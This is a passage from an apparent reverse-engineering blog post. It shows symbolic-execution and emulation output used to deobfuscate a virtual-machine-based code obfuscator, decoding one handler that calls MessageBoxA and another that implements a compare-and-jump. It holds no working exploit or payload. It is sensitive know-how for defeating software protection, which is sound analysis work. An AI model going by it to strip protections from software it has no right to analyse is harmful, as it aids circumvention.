    Symbol56 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
        Symbol55 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
            Symbol54 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
              <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x000D662E</span>)
            )
          &gt;&gt;
            Symbol53 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
              <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">2</span>, <span class="hljs-number">0x0001</span>)
            )
        )
      +
        Symbol52 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
          Dereference(
            Symbol51 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                Symbol10 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
              +
                Symbol50 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                    Symbol49 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                      <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x96336EDA</span>)
                    )
                  +
                    Symbol48 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                      <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x6A0CD7EB</span>)
                    )
                )
            )
          )
        )
    )
  +
    Symbol47 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
        Symbol46 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
            Symbol45 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                Symbol44 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                    Symbol43 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                      <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0xF3FCA000</span>)
                    )
                  &gt;&gt;
                    Symbol42 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
                      <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">2</span>, <span class="hljs-number">0x000A</span>)
                    )
                )
              +
                Symbol41 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                  Dereference(
                    Symbol40 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                        Symbol10 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
                      +
                        Symbol39 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                            Symbol38 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                              <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x101009C0</span>)
                            )
                          &gt;&gt;
                            Symbol37 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
                              <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">2</span>, <span class="hljs-number">0x0006</span>)
                            )
                        )
                    )
                  )
                )
            )
          +
            Symbol36 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
              <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x0080602E</span>)
            )
        )
      &gt;&gt;
        Symbol35 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
          <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">2</span>, <span class="hljs-number">0x0001</span>)
        )
    )
)
Symbol58 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x00000000</span>)
)
Symbol62 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
    Symbol10 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
  +
    Symbol61 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
        Symbol60 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
          <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x1F242027</span>)
        )
      nor
        Symbol59 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
          <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0xFFBFB277</span>)
        )
    )
)
Symbol66 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
    Symbol10 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
  +
    Symbol65 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
        Symbol64 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
          <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x28BD90A4</span>)
        )
      nor
        Symbol63 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
          <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0xFFBFB3A4</span>)
        )
    )
)
Symbol76 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
    Symbol75 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
        Symbol74 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
          <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0xDBDA6419</span>)
        )
      +
        Symbol73 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
          <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x24259BE8</span>)
        )
    )
  +
    Symbol72 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
      Dereference(
        Symbol71 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
            Symbol70 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                Symbol69 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                  <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x00000002</span>)
                )
              &lt;&lt;
                Symbol68 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
                  <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">2</span>, <span class="hljs-number">0x0001</span>)
                )
            )
          +
            Symbol67 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
              Pointer(
                Stack=[
                  Symbol11 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
                  Symbol34 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
                  Symbol57 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
                  Symbol58 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
                  Symbol62 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
                  Symbol66 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
                ]
              )
            )
        )
      )
    )
)
<span class="hljs-keyword">Memory</span> symbols:
location:
Symbol76 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
<span class="hljs-keyword">value</span>:
Symbol66 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
Stack symbols:
Symbol81 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  ConditionalOverride(
    conditional_symbol=(
      Symbol76 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    )
    override_symbol=(
      Symbol66 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    )
    default_symbol=(
      Symbol11 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    )
    stack_trigger_size=<span class="hljs-number">4</span>
  )
)
Symbol80 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  ConditionalOverride(
    conditional_symbol=(
      Symbol76 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    )
    override_symbol=(
      Symbol66 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    )
    default_symbol=(
      Symbol34 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    )
    stack_trigger_size=<span class="hljs-number">8</span>
  )
)
Symbol79 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  ConditionalOverride(
    conditional_symbol=(
      Symbol76 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    )
    override_symbol=(
      Symbol66 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    )
    default_symbol=(
      Symbol57 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    )
    stack_trigger_size=<span class="hljs-number">12</span>
  )
)
Symbol78 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  ConditionalOverride(
    conditional_symbol=(
      Symbol76 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    )
    override_symbol=(
      Symbol66 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    )
    default_symbol=(
      Symbol58 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    )
    stack_trigger_size=<span class="hljs-number">16</span>
  )
)
Symbol77 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  ConditionalOverride(
    conditional_symbol=(
      Symbol76 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    )
    override_symbol=(
      Symbol66 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    )
    default_symbol=(
      Symbol62 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    )
    stack_trigger_size=<span class="hljs-number">20</span>
  )
)
Symbol95 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
    Symbol10 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
  +
    Symbol94 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
        Symbol93 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
            Symbol92 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                Symbol91 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                    Symbol90 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                      <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x76AEFC80</span>)
                    )
                  +
                    Symbol89 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                      <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x895107C9</span>)
                    )
                )
              +
                Symbol88 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                  Dereference(
                    Symbol87 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                        Symbol10 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
                      +
                        Symbol86 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                            Symbol85 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                              <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0xF20A0A20</span>)
                            )
                          nor
                            Symbol84 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
                              <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0xFFBFBBA4</span>)
                            )
                        )
                    )
                  )
                )
            )
          +
            Symbol83 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
              <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0xAC00EADC</span>)
            )
        )
      nor
        Symbol82 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
          <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0xFFBFEFDF</span>)
        )
    )
)
Symbol1 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  arg9
)
Symbol2 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  arg8
)
Symbol3 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  arg7
)
Symbol4 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  arg6
)
Symbol5 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  arg5
)
Symbol9 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
Symbol7 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  arg3
)
Symbol8 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  arg2
)
Symbol9 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
Symbol10 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
</code></pre><p>This is enormous, and you can read about why this is done elsewhere. Long story short though, here's what happens when we emulate it:</p>
<pre><code>Memory writes:
[(Immediate(<span class="hljs-number">4</span>, <span class="hljs-number">0x00404D89</span>), Immediate(<span class="hljs-number">4</span>, <span class="hljs-number">0x00404C5B</span>))]
Stack:
[
<span class="hljs-comment">// stack state when we hit RET</span>
 Immediate(<span class="hljs-number">4</span>, <span class="hljs-number">0x00000000</span>),
 Immediate(<span class="hljs-number">4</span>, <span class="hljs-number">0x00403000</span>),
 Immediate(<span class="hljs-number">4</span>, <span class="hljs-number">0x00403017</span>),
 Immediate(<span class="hljs-number">4</span>, <span class="hljs-number">0x00000000</span>),
 Immediate(<span class="hljs-number">4</span>, <span class="hljs-number">0x00404D88</span>),
 Immediate(<span class="hljs-number">4</span>, <span class="hljs-number">0x00401020</span>),
<span class="hljs-comment">// these get loaded into registers</span>
 <span class="hljs-built_in">Symbol</span>(<span class="hljs-number">1</span> size=<span class="hljs-number">4</span>, value=arg9),
 <span class="hljs-built_in">Symbol</span>(<span class="hljs-number">2</span> size=<span class="hljs-number">4</span>, value=arg8),
 <span class="hljs-built_in">Symbol</span>(<span class="hljs-number">3</span> size=<span class="hljs-number">4</span>, value=arg7),
 <span class="hljs-built_in">Symbol</span>(<span class="hljs-number">4</span> size=<span class="hljs-number">4</span>, value=arg6),
 <span class="hljs-built_in">Symbol</span>(<span class="hljs-number">5</span> size=<span class="hljs-number">4</span>, value=arg5),
 <span class="hljs-built_in">Symbol</span>(<span class="hljs-number">9</span> size=<span class="hljs-number">4</span>, value=arg1),
 <span class="hljs-built_in">Symbol</span>(<span class="hljs-number">7</span> size=<span class="hljs-number">4</span>, value=arg3),
 <span class="hljs-built_in">Symbol</span>(<span class="hljs-number">8</span> size=<span class="hljs-number">4</span>, value=arg2),
 <span class="hljs-built_in">Symbol</span>(<span class="hljs-number">9</span> size=<span class="hljs-number">4</span>, value=arg1),
 Immediate(<span class="hljs-number">4</span>, <span class="hljs-number">0x0</span>x00)]
</code></pre><p>So it does the following:</p>
<ul>
<li>Sets <code>0x00404D89</code> to <code>0x00404C5B</code> (the address of the next set of VM code, this is set to junk at compile time)</li>
<li>Calls <code>0x00401020</code> (this is the thunk for MessageBoxA) with the decoded parameters</li>
<li>Returns to <code>0x00404D88</code> (this pushes the address above and then jumps to vmenter)</li>
</ul>
<p>We have time for one more, here's some code that does a <code>CMP</code> and a <code>JE</code>:</p>
<pre><code>Symbols <span class="hljs-keyword">with</span> multiple <span class="hljs-keyword">references</span>:
Symbol1 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  arg9
)
Symbol2 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  arg8
)
Symbol3 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  arg7
)
Symbol4 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  arg6
)
Symbol5 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  arg5
)
Symbol10 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x0</span>x00)
)
Symbol19 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
    Symbol18 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
        Symbol17 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
          <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">2</span>, <span class="hljs-number">0xFBFF</span>)
        )
      nor
        Symbol16 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
            Symbol15 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
              LoWord(
                Symbol1 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
              )
            )
          nor
            Symbol14 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
              LoWord(
                Symbol1 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
              )
            )
        )
    )
  +
    Symbol13 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
      FlagResult(
        Symbol12 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
            Symbol2 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
          +
            Symbol11 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
              <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x35010FF3</span>)
            )
        )
      )
    )
)
Symbol29 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
    Symbol28 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
        Symbol27 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
          <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">2</span>, <span class="hljs-number">0xFBFF</span>)
        )
      nor
        Symbol26 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
            Symbol19 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span>
          nor
            Symbol19 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span>
        )
    )
  +
    Symbol25 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
        Symbol24 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
            Symbol23 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
              <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">2</span>, <span class="hljs-number">0x0011</span>)
            )
          nor
            Symbol19 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span>
        )
      nor
        Symbol22 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
            Symbol21 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
              <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">2</span>, <span class="hljs-number">0xFFEE</span>)
            )
          nor
            Symbol20 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
                Symbol19 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span>
              nor
                Symbol19 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span>
            )
        )
    )
)
Symbol31 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
    Symbol10 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
  +
    Symbol30 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
      <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x00404D2B</span>)
    )
)
Symbol33 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
    Symbol10 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
  +
    Symbol32 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
      <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x00404CAB</span>)
    )
)
Symbol42 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  Dereference(
    Symbol41 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
        Symbol40 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
          DoubleWord(
            Symbol37 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
                Symbol35 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
                    Symbol34 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
                      <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">2</span>, <span class="hljs-number">0xFFBF</span>)
                    )
                  nor
                    Symbol29 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span>
                )
              &gt;&gt;
                Symbol36 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
                  <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">2</span>, <span class="hljs-number">0x0004</span>)
                )
            )
            Symbol39 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
              <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">2</span>, <span class="hljs-number">0x0000</span>)
            )
          )
        )
      +
        Symbol38 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
          Pointer(
            Stack=[
              Symbol31 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
              Symbol33 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
            ]
          )
        )
    )
  )
)
Symbol45 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
    Symbol44 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
      <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x00000008</span>)
    )
  +
    Symbol43 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
      Pointer(
        Stack=[
          Symbol31 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
          Symbol33 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
          Symbol42 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
        ]
      )
    )
)
Symbol47 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  ConditionalOverride(
    conditional_symbol=(
      Symbol45 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    )
    override_symbol=(
      Symbol42 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    )
    default_symbol=(
      Symbol31 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    )
    stack_trigger_size=<span class="hljs-number">4</span>
  )
)
Symbol49 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
    Symbol10 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
  +
    Symbol48 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
      <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0x00404000</span>)
    )
)
Symbol51 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  DoubleWord(
    Symbol29 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span>
    Symbol50 <span class="hljs-keyword">size</span>=<span class="hljs-number">2</span> <span class="hljs-keyword">value</span>=(
      <span class="hljs-keyword">Immediate</span>(<span class="hljs-number">2</span>, <span class="hljs-number">0x0</span>)
    )
  )
)
<span class="hljs-keyword">Memory</span> symbols:
location:
Symbol45 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
<span class="hljs-keyword">value</span>:
Symbol42 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
Stack symbols:
Symbol47 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
Symbol49 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
Symbol51 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
Symbol2 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
Symbol3 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
Symbol4 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
Symbol5 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
Symbol52 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  Pointer(
    Stack=[
      Symbol47 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
      Symbol49 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
      Symbol51 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
      Symbol2 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
      Symbol3 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
      Symbol4 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
      Symbol5 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
    ]
  )
)
Symbol7 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  arg3
)
Symbol8 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  arg2
)
Symbol9 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span> <span class="hljs-keyword">value</span>=(
  arg1
)
Symbol10 <span class="hljs-keyword">size</span>=<span class="hljs-number">4</span>
</code></pre><p>Once again, a lot of things going on here. Here's two options for executing it, when the <code>JE</code> passes:</p>
<pre><code><span class="hljs-selector-tag">Memory</span> <span class="hljs-selector-tag">writes</span>:
<span class="hljs-selector-attr">[]</span>
<span class="hljs-selector-tag">Stack</span>:
<span class="hljs-selector-attr">[Immediate(4, 0x00404CAB),
 Immediate(4, 0x00404000),
 Immediate(4, 0x00000257),
 Immediate(4, 0x0xCAFEF00D),
 Symbol(3 size=4, value=arg7),
 Symbol(4 size=4, value=arg6),
 Symbol(5 size=4, value=arg5),
 Pointer[Immediate(4, 0x0)]</span>,
 <span class="hljs-selector-tag">Symbol</span>(<span class="hljs-number">7</span> size=<span class="hljs-number">4</span>, value=arg3),
 <span class="hljs-selector-tag">Symbol</span>(<span class="hljs-number">8</span> size=<span class="hljs-number">4</span>, value=arg2),
 <span class="hljs-selector-tag">Symbol</span>(<span class="hljs-number">9</span> size=<span class="hljs-number">4</span>, value=arg1),
 <span class="hljs-selector-tag">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0</span>x0x00)]
</code></pre><p>And when it fails:</p>
<pre><code><span class="hljs-selector-tag">Memory</span> <span class="hljs-selector-tag">writes</span>:
<span class="hljs-selector-attr">[]</span>
<span class="hljs-selector-tag">Stack</span>:
<span class="hljs-selector-attr">[Immediate(4, 0x00404D2B),
 Immediate(4, 0x00404000),
 Immediate(4, 0x00000213),
